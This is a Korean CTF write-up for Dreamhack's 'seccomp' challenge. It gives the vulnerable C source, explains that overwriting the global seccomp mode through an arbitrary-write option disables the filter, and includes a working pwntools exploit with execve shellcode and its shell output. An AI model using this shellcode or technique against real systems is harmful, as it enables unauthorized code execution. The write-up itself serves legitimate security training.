dreamhack - seccomp writeup
[dreamhack] seccomp writeup
1. 문제

seccomp
이 문제는 작동하고 있는 서비스(seccomp)의 바이너리와 소스코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>
int mode = SECCOMP_MODE_STRICT;
int syscall_filter() {
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define REG_SYSCALL REG_RAX
#define ARCH_NR AUDIT_ARCH_X86_64
struct sock_filter filter[] = {
/* Validate architecture. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
/* Get system call number. */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
return -1;
}
if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
perror("Seccomp filter error\n");
return -1;
}
return 0;
}
int main(int argc, char* argv[])
{
void (*sc)();
unsigned char *shellcode;
int cnt = 0;
int idx;
long addr;
long value;
initialize();
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
while(1) {
printf("1. Read shellcode\n");
printf("2. Execute shellcode\n");
printf("3. Write address\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(cnt != 0) {
exit(0);
}
syscall_filter();
printf("shellcode: ");
read(0, shellcode, 1024);
cnt++;
break;
case 2:
sc = (void *)shellcode;
sc();
break;
case 3:
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", addr);
break;
default:
break;
}
}
return 0;
}
- case 1:
cnt
를 보고 딱 한번만 실행가능,shellcode
변수에 1024bytes만큼 입력받음 - case 2:
shellcode
에 있는 내용을 함수로서 실행 - case 3:
addr
을 입력받아서 해당 위치에 값을 입력 받음
원래라면 그냥 shellcode
변수에 쉘코드를 입력해서 바로 실행하면 됐겠지만 syscall_filter
함수가 존재한다.
가장 위에 mode
변수에 SECCOMP_MODE_STRICT
모드가 설정되어 read
, write
, _exit
, sigreturn
시스템 호출을 제외한 모든 시스템 호출이 금지된다.
따라서 만약 쉘코드를 넣으면 전혀 실행되지 않을 것이다.
다만, 여기서는 case 3
이 존재해서 원하는 주소에 원하는 값을 쓸 수 있다. 거기다가 checksec
으로 확인해보면 아래와 같다.
ubuntu@instance-20250406-1126:~/dreamhack/level2/seccomp$ checksec seccomp
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/seccomp/seccomp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
No PIE
이므로 mode
주소가 고정되어있고, 이 주소에 SECCOMP_MODE_STRICT
가 아닌 0
을 설정하면 syscall_filter
가 아무 역할을 하지않을 것이다.
바로 exploit을 작성하고 결과를 확인했다.
from pwn import *
p = process("./seccomp")
p = remote("host3.dreamhack.games", 11878)
elf = ELF("./seccomp")
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"addr: ", str(elf.symbols["mode"]))
p.sendlineafter(b"value: ", b"0")
p.sendlineafter(b"> ", b"1")
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
p.sendafter(b"shellcode: ", shellcode)
p.sendlineafter(b"> ", b"2")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/seccomp$ python3 e_seccomp.py
[+] Starting local process './seccomp': pid 2610764
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/seccomp/seccomp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
/home/ubuntu/dreamhack/level2/seccomp/e_seccomp.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"addr: ", str(elf.symbols["mode"]))
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
해결~